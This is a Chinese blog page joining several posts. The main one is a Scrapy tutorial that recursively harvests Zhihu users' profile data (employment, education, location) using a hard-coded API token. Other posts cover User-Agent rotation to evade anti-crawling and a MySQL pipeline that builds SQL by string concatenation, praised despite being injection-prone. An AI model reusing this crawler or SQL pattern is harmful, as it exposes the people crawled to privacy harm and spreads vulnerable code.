接下来我们需要先探寻获取用户详细信息和获取关注列表的接口。 回到网页,打开浏览器的控制台,切换到Network监听模式。 我们首先要做的是寻找一个大V,以轮子哥为例吧,它的个人信息页面网址是:https://www.zhihu.com/people/excited-vczh 首先打开轮子哥的首页 我们可以看到这里就是他的一些基本信息,我们需要抓取的就是这些,比如名字、签名、职业、关注数、赞同数等等。 接下来我们需要探索一下关注列表接口在哪里,我们点击关注选项卡,然后下拉,点击翻页,我们会在下面的请求中发现出现了 followees开头的Ajax请求。这个就是获取关注列表的接口。 我们观察一下这个请求结构 首先它是一个Get类型的请求,请求的URL是https://www.zhihu.com/api/v4/members/excited-vczh/followees,后面跟了三个参数,一个是include,一个是offset,一个是limit。 观察后可以发现,include是一些获取关注的人的基本信息的查询参数,包括回答数、文章数等等。 offset是偏移量,我们现在分析的是第3页的关注列表内容,offset当前为40。 limit为每一页的数量,这里是20,所以结合上面的offset可以推断,当offset为0时,获取到的是第一页关注列表,当offset为20时,获取到的是第二页关注列表,依次类推。 然后接下来看下返回结果: 可以看到有data和paging两个字段,data就是数据,包含20个内容,这些就是用户的基本信息,也就是关注列表的用户信息。 paging里面又有几个字段,is_end表示当前翻页是否结束,next是下一页的链接,所以在判读分页的时候,我们可以先利用is_end判断翻页是否结束,然后再获取next链接,请求下一页。 这样我们的关注列表就可以通过接口获取到了。 接下来我们再看下用户详情接口在哪里,我们将鼠标放到关注列表任意一个头像上面,观察下网络请求,可以发现又会出现一个Ajax请求。 可以看到这次的请求链接为https://www.zhihu.com/api/v4/members/lu-jun-ya-1 后面又一个参数include,include是一些查询参数,与刚才的接口类似,不过这次参数非常全,几乎可以把所有详情获取下来,另外接口的最后是加了用户的用户名,这个其实是url_token,上面的那个接口其实也是,在返回数据中是可以获得的。 所以综上所述:

  • 要获取用户的关注列表,我们需要请求类似 https://www.zhihu.com/api/v4/members/{user}/followees?include={include}&offset={offset}&limit={limit} 这样的接口,其中user就是该用户的url_token,include是固定的查询参数,offset是分页偏移量,limit是一页取多少个。
  • 要获取用户的详细信息,我们需要请求类似 https://www.zhihu.com/api/v4/members/{user}?include={include} 这样的接口,其中user就是该用户的url_token,include是查询参数。

理清了如上接口逻辑后,我们就可以开始构造请求了。

生成第一步请求

接下来我们要做的第一步当然是请求轮子哥的基本信息,然后获取轮子哥的关注列表了,我们首先构造一个格式化的url,将一些可变参数提取出来,然后需要重写start_requests方法,生成第一步的请求,接下来我们还需要根据获取到到关注列表做进一步的分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import json
from scrapy import Spider, Request
from zhihuuser.items import UserItem

class ZhihuSpider(Spider):
name = "zhihu"
allowed_domains = ["www.zhihu.com"]
user_url = 'https://www.zhihu.com/api/v4/members/{user}?include={include}'
follows_url = 'https://www.zhihu.com/api/v4/members/{user}/followees?include={include}&amp;offset={offset}&amp;limit={limit}'
start_user = 'excited-vczh'
user_query = 'locations,employments,gender,educations,business,voteup_count,thanked_Count,follower_count,following_count,cover_url,following_topic_count,following_question_count,following_favlists_count,following_columns_count,answer_count,articles_count,pins_count,question_count,commercial_question_count,favorite_count,favorited_count,logs_count,marked_answers_count,marked_answers_text,message_thread_token,account_status,is_active,is_force_renamed,is_bind_sina,sina_weibo_url,sina_weibo_name,show_sina_weibo,is_blocking,is_blocked,is_following,is_followed,mutual_followees_count,vote_to_count,vote_from_count,thank_to_count,thank_from_count,thanked_count,description,hosted_live_count,participated_live_count,allow_message,industry_category,org_name,org_homepage,badge[?(type=best_answerer)].topics'
follows_query = 'data[*].answer_count,articles_count,gender,follower_count,is_followed,is_following,badge[?(type=best_answerer)].topics'

def start_requests(self):
yield Request(self.user_url.format(user=self.start_user, include=self.user_query), self.parse_user)
yield Request(self.follows_url.format(user=self.start_user, include=self.follows_query, limit=20, offset=0),
self.parse_follows)

然后我们实现一下两个解析方法parse_user和parse_follows。

1
2
3
4
def parse_user(self, response):
print(response.text)
def parse_follows(self, response):
print(response.text)

最简单的实现他们的结果输出即可,然后运行观察结果。

1
scrapy crawl zhihu

这时你会发现出现了

1
401 HTTP status code is not handled or not allowed

访问被禁止了,这时我们观察下浏览器请求,发现它相比之前的请求多了一个OAuth请求头。

OAuth

它是Open Authorization的缩写。 OAUTH_token:OAUTH进行到最后一步得到的一个“令牌”,通过此“令牌”请求,就可以去拥有资源的网站抓取任意有权限可以被抓取的资源。 在这里我知乎并没有登陆,这里的OAuth值是

1
oauth c3cef7c66a1843f8b3a9e6a1e3160e20

经过我长久的观察,这个一直不会改变,所以可以长久使用,我们将它配置到DEFAULT_REQUEST_HEADERS里,这样它就变成了:

1
2
3
4
DEFAULT_REQUEST_HEADERS = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',
'authorization': 'oauth c3cef7c66a1843f8b3a9e6a1e3160e20',
}

接下来如果我们重新运行爬虫,就可以发现可以正常爬取了。

parse_user

接下来我们处理一下用户基本信息,首先我们查看一下接口信息会返回一些什么数据。 可以看到返回的结果非常全,在这里我们直接声明一个Item全保存下就好了。 在items里新声明一个UserItem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from scrapy import Item, Field

class UserItem(Item):
# define the fields for your item here like:
id = Field()
name = Field()
avatar_url = Field()
headline = Field()
description = Field()
url = Field()
url_token = Field()
gender = Field()
cover_url = Field()
type = Field()
badge = Field()

answer_count = Field()
articles_count = Field()
commercial_question_count = Field()
favorite_count = Field()
favorited_count = Field()
follower_count = Field()
following_columns_count = Field()
following_count = Field()
pins_count = Field()
question_count = Field()
thank_from_count = Field()
thank_to_count = Field()
thanked_count = Field()
vote_from_count = Field()
vote_to_count = Field()
voteup_count = Field()
following_favlists_count = Field()
following_question_count = Field()
following_topic_count = Field()
marked_answers_count = Field()
mutual_followees_count = Field()
hosted_live_count = Field()
participated_live_count = Field()

locations = Field()
educations = Field()
employments = Field()

所以在解析方法里面我们解析得到的response内容,然后转为json对象,然后依次判断字段是否存在,赋值就好了。

1
2
3
4
5
6
result = json.loads(response.text)
item = UserItem()
for field in item.fields:
if field in result.keys():
item[field] = result.get(field)
yield item

得到item后通过yield返回就好了。 这样保存用户基本信息就完成了。 接下来我们还需要在这里获取这个用户的关注列表,所以我们需要再重新发起一个获取关注列表的request 在parse_user后面再添加如下代码:

1
2
3
yield Request(
self.follows_url.format(user=result.get('url_token'), include=self.follows_query, limit=20, offset=0),
self.parse_follows)

这样我们又生成了获取该用户关注列表的请求。

parse_follows

接下来我们处理一下关注列表,首先也是解析response的文本,然后要做两件事:

  • 通过关注列表的每一个用户,对每一个用户发起请求,获取其详细信息。
  • 处理分页,判断paging内容,获取下一页关注列表。

所以在这里将parse_follows改写如下:

1
2
3
4
5
6
7
8
9
10
11
results = json.loads(response.text)

if 'data' in results.keys():
for result in results.get('data'):
yield Request(self.user_url.format(user=result.get('url_token'), include=self.user_query),
self.parse_user)

if 'paging' in results.keys() and results.get('paging').get('is_end') == False:
next_page = results.get('paging').get('next')
yield Request(next_page,
self.parse_follows)

这样,整体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# -*- coding: utf-8 -*-
import json

from scrapy import Spider, Request
from zhihuuser.items import UserItem


class ZhihuSpider(Spider):
name = "zhihu"
allowed_domains = ["www.zhihu.com"]
user_url = 'https://www.zhihu.com/api/v4/members/{user}?include={include}'
follows_url = 'https://www.zhihu.com/api/v4/members/{user}/followees?include={include}&amp;offset={offset}&amp;limit={limit}'
start_user = 'excited-vczh'
user_query = 'locations,employments,gender,educations,business,voteup_count,thanked_Count,follower_count,following_count,cover_url,following_topic_count,following_question_count,following_favlists_count,following_columns_count,answer_count,articles_count,pins_count,question_count,commercial_question_count,favorite_count,favorited_count,logs_count,marked_answers_count,marked_answers_text,message_thread_token,account_status,is_active,is_force_renamed,is_bind_sina,sina_weibo_url,sina_weibo_name,show_sina_weibo,is_blocking,is_blocked,is_following,is_followed,mutual_followees_count,vote_to_count,vote_from_count,thank_to_count,thank_from_count,thanked_count,description,hosted_live_count,participated_live_count,allow_message,industry_category,org_name,org_homepage,badge[?(type=best_answerer)].topics'
follows_query = 'data[*].answer_count,articles_count,gender,follower_count,is_followed,is_following,badge[?(type=best_answerer)].topics'

def start_requests(self):
yield Request(self.user_url.format(user=self.start_user, include=self.user_query), self.parse_user)
yield Request(self.follows_url.format(user=self.start_user, include=self.follows_query, limit=20, offset=0),
self.parse_follows)

def parse_user(self, response):
result = json.loads(response.text)
item = UserItem()


for field in item.fields:
if field in result.keys():
item[field] = result.get(field)
yield item

yield Request(
self.follows_url.format(user=result.get('url_token'), include=self.follows_query, limit=20, offset=0),
self.parse_follows)

def parse_follows(self, response):
results = json.loads(response.text)

if 'data' in results.keys():
for result in results.get('data'):
yield Request(self.user_url.format(user=result.get('url_token'), include=self.user_query),
self.parse_user)

if 'paging' in results.keys() and results.get('paging').get('is_end') == False:
next_page = results.get('paging').get('next')
yield Request(next_page,
self.parse_follows)

这样我们就完成了获取用户基本信息,然后递归获取关注列表进一步请求了。 重新运行爬虫,可以发现当前已经可以实现循环递归爬取了。

followers

上面我们实现了通过获取关注列表实现爬取循环,那这里少不了的还有粉丝列表,经过分析后发现粉丝列表的api也类似,只不过把followee换成了follower,其他的完全相同,所以我们按照同样的逻辑添加followers相关信息, 最终spider代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# -*- coding: utf-8 -*-
import json

from scrapy import Spider, Request
from zhihuuser.items import UserItem


class ZhihuSpider(Spider):
name = "zhihu"
allowed_domains = ["www.zhihu.com"]
user_url = 'https://www.zhihu.com/api/v4/members/{user}?include={include}'
follows_url = 'https://www.zhihu.com/api/v4/members/{user}/followees?include={include}&offset={offset}&limit={limit}'
followers_url = 'https://www.zhihu.com/api/v4/members/{user}/followers?include={include}&offset={offset}&limit={limit}'
start_user = 'tianshansoft'
user_query = 'locations,employments,gender,educations,business,voteup_count,thanked_Count,follower_count,following_count,cover_url,following_topic_count,following_question_count,following_favlists_count,following_columns_count,answer_count,articles_count,pins_count,question_count,commercial_question_count,favorite_count,favorited_count,logs_count,marked_answers_count,marked_answers_text,message_thread_token,account_status,is_active,is_force_renamed,is_bind_sina,sina_weibo_url,sina_weibo_name,show_sina_weibo,is_blocking,is_blocked,is_following,is_followed,mutual_followees_count,vote_to_count,vote_from_count,thank_to_count,thank_from_count,thanked_count,description,hosted_live_count,participated_live_count,allow_message,industry_category,org_name,org_homepage,badge[?(type=best_answerer)].topics'
follows_query = 'data[*].answer_count,articles_count,gender,follower_count,is_followed,is_following,badge[?(type=best_answerer)].topics'
followers_query = 'data[*].answer_count,articles_count,gender,follower_count,is_followed,is_following,badge[?(type=best_answerer)].topics'

def start_requests(self):
yield Request(self.user_url.format(user=self.start_user, include=self.user_query), self.parse_user)
yield Request(self.follows_url.format(user=self.start_user, include=self.follows_query, limit=20, offset=0),
self.parse_follows)
yield Request(self.followers_url.format(user=self.start_user, include=self.followers_query, limit=20, offset=0),
self.parse_followers)

def parse_user(self, response):
result = json.loads(response.text)
item = UserItem()

for field in item.fields:
if field in result.keys():
item[field] = result.get(field)
yield item

yield Request(
self.follows_url.format(user=result.get('url_token'), include=self.follows_query, limit=20, offset=0),
self.parse_follows)

yield Request(
self.followers_url.format(user=result.get('url_token'), include=self.followers_query, limit=20, offset=0),
self.parse_followers)

def parse_follows(self, response):
results = json.loads(response.text)

if 'data' in results.keys():
for result in results.get('data'):
yield Request(self.user_url.format(user=result.get('url_token'), include=self.user_query),
self.parse_user)

if 'paging' in results.keys() and results.get('paging').get('is_end') == False:
next_page = results.get('paging').get('next')
yield Request(next_page,
self.parse_follows)

def parse_followers(self, response):
results = json.loads(response.text)

if 'data' in results.keys():
for result in results.get('data'):
yield Request(self.user_url.format(user=result.get('url_token'), include=self.user_query),
self.parse_user)

if 'paging' in results.keys() and results.get('paging').get('is_end') == False:
next_page = results.get('paging').get('next')
yield Request(next_page,
self.parse_followers)

需要改变的位置有

  • start_requests里面添加yield followers信息
  • parse_user里面里面添加yield followers信息
  • parse_followers做相应的的抓取详情请求和翻页。

如此一来,spider就完成了,这样我们就可以实现通过社交网络递归的爬取,把用户详情都爬下来。

小结

通过以上的spider,我们实现了如上逻辑:

  • start_requests方法,实现了第一个大V用户的详细信息请求还有他的粉丝和关注列表请求。
  • parse_user方法,实现了详细信息的提取和粉丝关注列表的获取。
  • paese_follows,实现了通过关注列表重新请求用户并进行翻页的功能。
  • paese_followers,实现了通过粉丝列表重新请求用户并进行翻页的功能。

加入pipeline

在这里数据库存储使用MongoDB,所以在这里我们需要借助于Item Pipeline,实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class MongoPipeline(object):
collection_name = 'users'

def __init__(self, mongo_uri, mongo_db):
self.mongo_uri = mongo_uri
self.mongo_db = mongo_db

@classmethod
def from_crawler(cls, crawler):
return cls(
mongo_uri=crawler.settings.get('MONGO_URI'),
mongo_db=crawler.settings.get('MONGO_DATABASE')
)

def open_spider(self, spider):
self.client = pymongo.MongoClient(self.mongo_uri)
self.db = self.client[self.mongo_db]

def close_spider(self, spider):
self.client.close()

def process_item(self, item, spider):
self.db[self.collection_name].update({'url_token': item['url_token']}, {'$set': dict(item)}, True)
return item

比较重要的一点就在于process_item,在这里使用了update方法,第一个参数传入查询条件,这里使用的是url_token,第二个参数传入字典类型的对象,就是我们的item,第三个参数传入True,这样就可以保证,如果查询数据存在的话就更新,不存在的话就插入。这样就可以保证去重了。 另外记得开启一下Item Pileline

1
2
3
ITEM_PIPELINES = {
'zhihuuser.pipelines.MongoPipeline': 300,
}

然后重新运行爬虫

1
scrapy crawl zhihu

这样就可以发现正常的输出了,会一直不停地运行,用户也一个个被保存到数据库。 看下MongoDB,里面我们爬取的用户详情结果。 到现在为止,整个爬虫就基本完结了,我们主要通过递归的方式实现了这个逻辑。存储结果也通过适当的方法实现了去重。

更高效率

当然我们现在运行的是单机爬虫,只在一台电脑上运行速度是有限的,所以后面我们要想提高抓取效率,需要用到分布式爬虫,在这里需要用到Redis来维护一个公共的爬取队列。 更多的分布式爬虫的实现可以查看自己动手,丰衣足食!Python3网络爬虫实战案例

Python

QQ图片20161021225948 听大才哥说好像我的文章挺难找的,这整理一下。

基础知识篇:

这玩意儿我没写,各位参考大才哥的: Python 爬虫学习系列教程 Python3 爬虫学习视频教程

小白系列教程

小白爬虫第一弹之抓取妹子图 小白爬虫第二弹之健壮的小爬虫 小白爬虫第三弹之去重去重 小白爬虫第四弹之爬虫快跑(多进程+多线程) 小白进阶之 Scrapy 第一篇 小白进阶之 Scrapy 第二篇(登录篇) 小白进阶之Scrapy 分布式的前篇—让 redis 和 MongoDB 安全点 小白进阶之 Scrapy 第三篇(基于 Scrapy-Redis 的分布式以及 cookies 池) 小白进阶之 Scrapy 第四篇(图片下载管道篇) 小白进阶之 Scrapy 第五篇(Scrapy-Splash 配合 CrawlSpider;瞎几把整的) 利用新接口抓取微信公众号的所有文章 小白进阶之Scrapy 第六篇Scrapy-Redis 详解 QQ图片20161021225948 暂时就这些了、最近工作刚入职。上了个新项目,没时间更新文章了(主要是我懒、挤点时间都用来打 LOL 了···············尴尬脸) 等项目第一期结束了,我会把以前许诺的 :JS 异步加载 | 动态爬虫 更新出来。 感谢大才哥的平台(有兴趣的小伙伴一起来更新文章啊! 才不会告诉你们:我扯着大才哥的大旗找了个不错的工作。手动笑哭······) 如果以上网站有更改无法正常采集,请 PM 我一下,我尽量保证 demo 的可用性

Other

公告

大家好,本站于今日(2017.4.11)关闭投稿功能。

原因

由于之前本站开放了投稿注册接口,该接口现在被人利用,每天都会发送垃圾邮件,经常导致邮箱发信过多而被冻结,而WordPress本身没有提供验证码验证,所以自己也不想再去修改,当然最主要的是能发优质文章的又是少之又少,经常会出现一些垃圾草稿,所以博主决定直接将投稿功能关闭,希望大家可以理解。

投稿

如果您有在本站投稿意向,请直接联系我邮件cqc@cuiqingcai.com,我为您注册账号并开通写作权限。

鸣谢

非常感谢在本站投稿的童鞋,尤其是卧槽哥,发表了很多篇高质量爬虫文章。另外还有戴笠兄也是,不过后来戴笠兄的文章因为开车过猛而下架了哈哈,不过还是非常感谢。另外也非常感谢其他在本站投稿的小伙伴,在这不一一点名啦!

结语

最后希望大家可以理解,也非常感谢大家的支持!前一段时间忙着在录制爬虫视频,今天刚刚收尾,现在已经更新完毕,后面我将学习一些数据分析、自然语言处理、Web安全方面的知识分享给大家,希望大家多多支持!感谢!

Python

2022 年 Python3 网络爬虫教程

大家好,我是崔庆才,由于爬虫技术不断迭代升级,一些旧的教程已经过时、案例已经过期,最前沿的爬虫技术比如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等技术层出不穷,我最近新出了一套最新最全面的 Python3 网络爬虫系列教程。

博主自荐:截止 2022 年,可以将最前沿最全面的爬虫技术都涵盖的教程,如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等,市面上目前就这一套了。

最新教程对旧的爬虫技术文章进行了全面更新,搭建了全新的案例平台进行全面讲解,保证案例稳定有效不过期。

教程请移步:

【2022 版】Python3 网络爬虫学习教程

2018 年 Python3 网络爬虫视频课程链接

以下为 2018 年 Python3 网络爬虫视频课程

天善智能:自己动手,丰衣足食!Python3 网络爬虫实战案例 网易云课堂:自己动手,丰衣足食!Python3 网络爬虫实战案例

课程简介

大家好哈,现在呢静觅博客已经两年多啦,可能大家过来更多看到的是爬虫方面的博文,首先非常感谢大家的支持,希望我的博文对大家有帮助! 之前我写了一些 Python 爬虫方面的文章,Python 爬虫学习系列教程,涉及到了基础和进阶的一些内容,当时更多用到的是 Urllib 还有正则,后来又陆续增加了一些文章,在学习过程中慢慢积累慢慢成型了一套算不上教程的教程,后来有越来越多的小伙伴学习和支持我感到非常开心,再次感谢大家! 不过其实这些教程总的来说有一些问题:

  1. 当时用的 Python2 写的,刚写的时候 Scrapy 这个框架也没有支持 Python3,一些 Python3 爬虫库也不怎么成熟,所以当时选择了 Python2。但到现在,Python3 发展迅速,爬虫库也越来越成熟,而且 Python2 在不久的将来就会停止维护了,所以慢慢地,我的语言重心也慢慢转向了 Python3,我也相信 Python3 会成为主流。所以说之前的一套课程算是有点过时了,相信大家肯定还在寻找 Python3 的一些教程。
  2. 当时学习的时候主要用的 urllib,正则,所以这些文章的较大篇幅也都是 urllib 和正则的一些东西,后来的一些高级库都是在后面慢慢加的,而且一些高级的框架用法也没有做深入讲解,所以感觉整个内容有点头重脚轻,安排不合理。而且现在分布式越来越火,那么分布式爬虫的应用相必也是越来越广泛,之前的课程也没有做系统讲解。
  3. 在介绍一些操作的时候可能介绍不全面,环境的配置也没有兼顾各个平台,所以可能有些小伙伴摸不着头脑,可能卡在某一步不知道接下来是怎么做的了。

那么综合上面的问题呢,最近我花了前前后后将近一个月的时间录制了一套新的 Pyhthon3 爬虫视频教程,将我之前做爬虫的一些经验重新梳理和整合,利用 Python3 编写,从环境配置、基础库讲解到案例实战、框架使用,最后再到分布式爬虫进行了比较系统的讲解。 课程内容是这个样子的:

一、环境篇

  • Python3+Pip 环境配置
  • MongoDB 环境配置
  • Redis 环境配置
  • MySQL 环境配置
  • Python 多版本共存配置
  • Python 爬虫常用库的安装

二、基础篇

  • 爬虫基本原理
  • Urllib 库基本使用
  • Requests 库基本使用
  • 正则表达式基础
  • BeautifulSoup 详解
  • PyQuery 详解
  • Selenium 详解

三、实战篇

  • 使用 Requests+正则表达式爬取猫眼电影
  • 分析 Ajax 请求并抓取今日头条街拍美图
  • 使用 Selenium 模拟浏览器抓取淘宝商品美食信息
  • 使用 Redis+Flask 维护动态代理池
  • 使用代理处理反爬抓取微信文章
  • 使用 Redis+Flask 维护动态 Cookies 池

四、框架篇

  • PySpider 框架基本使用及抓取 TripAdvisor 实战
  • PySpider 架构概述及用法详解
  • Scrapy 框架的安装
  • Scrapy 框架基本使用
  • Scrapy 命令行详解
  • Scrapy 中选择器的用法
  • Scrapy 中 Spiders 的用法
  • Scrapy 中 Item Pipeline 的用法
  • Scrapy 中 Download Middleware 的用法
  • Scrapy 爬取知乎用户信息实战
  • Scrapy+Cookies 池抓取新浪微博
  • Scrapy+Tushare 爬取微博股票数据

五、分布式篇

  • Scrapy 分布式原理及 Scrapy-Redis 源码解析
  • Scrapy 分布式架构搭建抓取知乎
  • Scrapy 分布式的部署详解

整个课程是从小白起点的,从环境配置和基础开始讲起,环境安装部分三大平台都有介绍,实战的部分我是一边写一边讲解,还有一些分布式爬虫的搭建流程也做了介绍。 不过这个课程是收费的,其实里面也包含了我学习爬虫以来的经验和汗水,我在做讲解的时候也会把我学习爬虫的一些思路和想法讲解出来,避免大家走一些弯路,希望大家可以支持一下! 不过在这里有免费的视频,是属于整个课程的一部分,大家可以直接观看 Python3 爬虫三大案例实战分享 整套视频课程放在天善智能这边了,大家如果感兴趣的话可以直接在这里购买,499 元。 课程链接如下: 天善智能:自己动手,丰衣足食!Python3 网络爬虫实战案例 网易云课堂:自己动手,丰衣足食!Python3 网络爬虫实战案例 最后的最后希望大家可以多多支持!非常感谢!知识就是力量!也希望我的课程能为您创造更大的财富!

Python

吃惊表情1 这两天上班接手,别人留下来的爬虫发现一个很好玩的 SQL 脚本拼接。 只要你的 Scrapy Field 字段名字和 数据库字段的名字 一样。那么恭喜你你就可以拷贝这段 SQL 拼接脚本。进行 MySQL 入库处理。 具体拼接代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def process_item(self, item, spider):
if isinstance(item, WhoscoredNewItem):
table_name = item.pop('table_name')
col_str = ''
row_str = ''
for key in item.keys():
col_str = col_str + " " + key + ","
row_str = "{}'{}',".format(row_str, item[key] if "'" not in item[key] else item[key].replace("'", "\\'"))
sql = "insert INTO {} ({}) VALUES ({}) ON DUPLICATE KEY UPDATE ".format(table_name, col_str[1:-1], row_str[:-1])
for (key, value) in six.iteritems(item):
sql += "{} = '{}', ".format(key, value if "'" not in value else value.replace("'", "\\'"))
sql = sql[:-2]
self.cursor.execute(sql) #执行SQL
self.cnx.commit()# 写入操作

这个 SQL 拼接实现了,如果数据库存在相同数据则 更新,不存在则插入 的 SQL 语句 具体实现就是第一个 for 循环,获取 key 作为 MySQL 字段名字、VALUES 做为 SQL 的 VALUES(拼接成一个插入的 SQL 语句) 第二个 for 循环,实现了 字段名 = VALUES 的拼接。 和第一个 for 循环的中的 sql 就组成了 insert into XXXXX on duplicate key update 这个。存在则更新 不存在则插入的 SQL 语句。 QQ图片20161021225948 我只能所 6666666666 写这个拼接的小哥儿有想法。还挺通用。 不知道你们有没有想到这种方法 反正我是没想到。

PHP

今天给大家介绍 WordPress Plugin for UPYUN 插件,专为又拍云和 WordPress 用户准备,主要功能如下:

  1. 可以与 WordPress 无缝结合,通过 WordPress 上传图片和文件到又拍云, 支持大文件上传(需要开启表单 API) 和防盗链功能
  2. 支持同步删除(在 WordPress 后台媒体管理 “删除” 附件后,又拍云服务器中的文件也随之删除)
  3. 增加图片编辑功能
  4. 优化防盗链功能
  5. 增加与水印插件的兼容性,使上传到远程服务器的图片同样可以加上水印等

PS:修复了很多之前版本存在的 bug,具体可访问:github 又拍云是以 CDN 为核心业务,另外提供云存储、云处理、云安全、流量营销等的云服务商,有开放且可扩展的API,以及开放的SDK和第三方插件,还针对开发者启动了 又拍云联盟 活动,可以每月获取免费空间和流量。更多介绍,请访问又拍云安装插件: 进入到你的 WordPress 的 wp-content/plugins 目录下

1
` # pwd/home/wwwroot/blog.v5linux.com/wp-content/plugins`

克隆插件

1
2
3
4
5
6
7
` # git clone https://github.com/ihacklog/hacklog-remote-attachment-upyun.
gitInitialized empty Git repository in /home/wwwroot/blog.v5linux.com/wp-
content/plugins/hacklog-remote-attachment-upyun/.git/remote: Counting 
objects: 387, done.remote: Compressing objects: 100% (31/31), done.
remote: Total 387 (delta 16), reused 0 (delta 0), pack-reused 356Receiving 
objects: 100% (387/387), 399.17 KiB | 106 KiB/s, done.Resolving deltas:
 100% (223/223), done.`

设置权限

1
2
3
4
` # ll总用量 16drwxr-xr-x 4 www  www  4096 1月  12 13:20 akismetdrwxr-xr-x 
8 root root 4096 1月  16 11:34 hacklog-remote-attachment-upyun-rw-r--r-- 1 
www  www  2255 5月  23 2013 hello.php-rw-r--r-- 1 www  www    28 6月   
5 2014 index.php# chown -R www:www hacklog-remote-attachment-upyun/`

注意,如果你是虚拟主机,请下载后打包成 zip 文件上传到 plugins 目录下插件配置 插件设置

主要配置 空间名:后台创建的存储类型服务的名称 操作员和操作员密码:后台获取 表单密钥:又拍云控制台 找到对应的服务 — 高级选项 - 开启表单密钥远程基本 URL:填写你的绑定域名或默认域名(强烈建议使用绑定域名) REST 远程路径和 HTTP 路径:根据需求填写 插件启用和配置详情,请参考:WordPress 远程附件上传插件

Python

啥话都不说了、进入正题。 QQ图片20170205084843 首先我们更新一下 scrapy 版本。最新版为 1.3 再说一遍 Windows 的小伙伴儿 pip 是装不上 Scrapy 的。推荐使用 anaconda 、不然还是老老实实用 Linux 吧

1
2
3
conda install scrapy==1.3
或者
pip install scrapy==1.3

安装 Scrapy-Redis

1
2
3
conda install scrapy-redis
或者
pip install scrapy-redis

需要注意: Python 版本为 2.7,3.4 或者 3.5 。个人使用 3.6 版本也没有问题 Redis>=2.8 Scrapy>=1.0 Redis-py>=2.1 。 3.X 版本的 Python 都是自带 Redis-py 其余小伙伴如果没有的话、自己 pip 安装一下。 开始搞事! 开始之前我们得知道 scrapy-redis 的一些配置:PS 这些配置是写在 Scrapy 项目的 settings.py 中的!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#启用Redis调度存储请求队列
SCHEDULER = "scrapy_redis.scheduler.Scheduler"

#确保所有的爬虫通过Redis去重
DUPEFILTER_CLASS = "scrapy_redis.dupefilter.RFPDupeFilter"

#默认请求序列化使用的是pickle 但是我们可以更改为其他类似的。PS:这玩意儿2.X的可以用。3.X的不能用
#SCHEDULER_SERIALIZER = "scrapy_redis.picklecompat"

#不清除Redis队列、这样可以暂停/恢复 爬取
#SCHEDULER_PERSIST = True

#使用优先级调度请求队列 (默认使用)
#SCHEDULER_QUEUE_CLASS = 'scrapy_redis.queue.PriorityQueue'
#可选用的其它队列
#SCHEDULER_QUEUE_CLASS = 'scrapy_redis.queue.FifoQueue'
#SCHEDULER_QUEUE_CLASS = 'scrapy_redis.queue.LifoQueue'

#最大空闲时间防止分布式爬虫因为等待而关闭
#这只有当上面设置的队列类是SpiderQueue或SpiderStack时才有效
#并且当您的蜘蛛首次启动时,也可能会阻止同一时间启动(由于队列为空)
#SCHEDULER_IDLE_BEFORE_CLOSE = 10

#将清除的项目在redis进行处理
ITEM_PIPELINES = {
'scrapy_redis.pipelines.RedisPipeline': 300
}

#序列化项目管道作为redis Key存储
#REDIS_ITEMS_KEY = '%(spider)s:items'

#默认使用ScrapyJSONEncoder进行项目序列化
#You can use any importable path to a callable object.
#REDIS_ITEMS_SERIALIZER = 'json.dumps'

#指定连接到redis时使用的端口和地址(可选)
#REDIS_HOST = 'localhost'
#REDIS_PORT = 6379

#指定用于连接redis的URL(可选)
#如果设置此项,则此项优先级高于设置的REDIS_HOST 和 REDIS_PORT
#REDIS_URL = 'redis://user:pass@hostname:9001'

#自定义的redis参数(连接超时之类的)
#REDIS_PARAMS = {}

#自定义redis客户端类
#REDIS_PARAMS['redis_cls'] = 'myproject.RedisClient'

#如果为True,则使用redis的'spop'进行操作。
#如果需要避免起始网址列表出现重复,这个选项非常有用。开启此选项urls必须通过sadd添加,否则会出现类型错误。
#REDIS_START_URLS_AS_SET = False

#RedisSpider和RedisCrawlSpider默认 start_usls 键
#REDIS_START_URLS_KEY = '%(name)s:start_urls'

#设置redis使用utf-8之外的编码
#REDIS_ENCODING = 'latin1'

请各位小伙伴儿自行挑选需要的配置写到项目的 settings.py 文件中 英语渣靠 Google、看不下去的小伙伴儿看这儿:http://scrapy-redis.readthedocs.io/en/stable/readme.html 继续在我们上一篇博文中的爬虫程序修改: 首先把我们需要的 redis 配置文件写入 settings.py 中: 如果你的 redis 数据库按照前一片博文配置过则需要以下至少三项

1
2
3
4
5
SCHEDULER = "scrapy_redis.scheduler.Scheduler"

DUPEFILTER_CLASS = "scrapy_redis.dupefilter.RFPDupeFilter"

REDIS_URL = 'redis://root:密码@主机IP:端口'

第三项请按照你的实际情况配置。 Nice 配置文件写到这儿。我们来做一些基本的反爬虫设置 最基本的一个切换 UserAgent! 首先在项目文件中新建一个 useragent.py 用来写一堆 User-Agent(可以去网上找更多,也可以用下面这些现成的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
agents = [
"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
